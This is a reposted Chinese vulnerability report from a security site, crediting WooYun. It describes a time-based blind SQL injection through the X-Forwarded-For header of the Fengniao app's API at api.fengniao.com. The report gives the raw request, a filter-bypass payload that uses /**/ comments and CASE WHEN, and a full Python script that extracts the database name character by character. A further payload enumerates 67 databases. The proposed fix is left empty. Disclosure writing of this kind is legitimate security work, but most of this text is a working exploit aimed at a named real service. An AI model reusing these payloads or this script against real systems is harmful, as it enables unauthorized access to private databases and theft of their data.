神刀安全网

蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

简要描述:

请教SQLMAP之绕过if过滤的tamper~

详细说明:

目标:蜂鸟网官方APP(api.fengniao.com)

检测发现以下地方存在SQL注入漏洞:(header中的X-Forwarded-For,延时盲注)

code 区域
GET http://api.fengniao.com/app_ipad/news_list.php HTTP/1.1
Accept-Encoding: gzip,deflate
X-Forwarded-For: 1
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Host: api.fengniao.com

由于网站设置了过滤(空格、逗号/if等),所以SQLMap没跑出来……所以又只能写Python跑了,先手工得到Payload如下,空格使用/**/代替,IF使用CASE WHEN代替:

code 区域
'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/1=1/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm

因此,只要替换1=1为查询语句即可,因此附上验证脚本:(以跑当前数据库名为例,测试时请修改脚本中代理)

code 区域
#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
count = 0
i = 33
while i < 128:
if i == 37:
i = i+1
try:
headers = {"Host": "api.fengniao.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept-Encoding": "gzip,deflate",
"X-Forwarded-For": "'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/(database()/**/like/**/0x"+temp_database+str(hex(i))[2:]+"25)/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm",
"Accept": "*/*",
"Connection": "close"}
httpClient = httplib.HTTPConnection("192.168.222.202", 8080, timeout=30)
url = 'http://api.fengniao.com/app_ipad/news_list.php'
httpClient.request("GET", url=url, headers=headers)
st = time.time()
response = httpClient.getresponse()
rp = response.read()
if count == 1:
if time.time()-st > 3:
temp_database = temp_database + str(hex(i))[2:]
database = database + chr(i)
print 'user(): ', database
i = 33
count = 0
else:
count = 0
elif time.time()-st > 3:
count = 1
i = i-1
i=i+1

except Exception, e:
print e
finally:
if httpClient:
httpClient.close()

漏洞证明:

1、跑出当前数据库用户

蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

2、跑出当前数据库名

蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

3、跑出所有数据库名,发现共67个,payload如下

code 区域
'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(CASE/**/WHEN/**/((select/**/count(*)/**/from/**/information_schema.SCHEMATA)=67)/**/THEN/**/3/**/else/**/0/**/END)))nKfJ)/**/AND/**/'zyYm'='zyYm

太多了,于是就跑前几个吧……

蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

4、跑出当前库的表名,只跑前两个作为验证~

蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

修复方案:

请多指教~

版权声明:神刀安全网转自 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 蜂鸟网官方APP存在SQL注入漏洞(跨67个库+附绕过验证脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮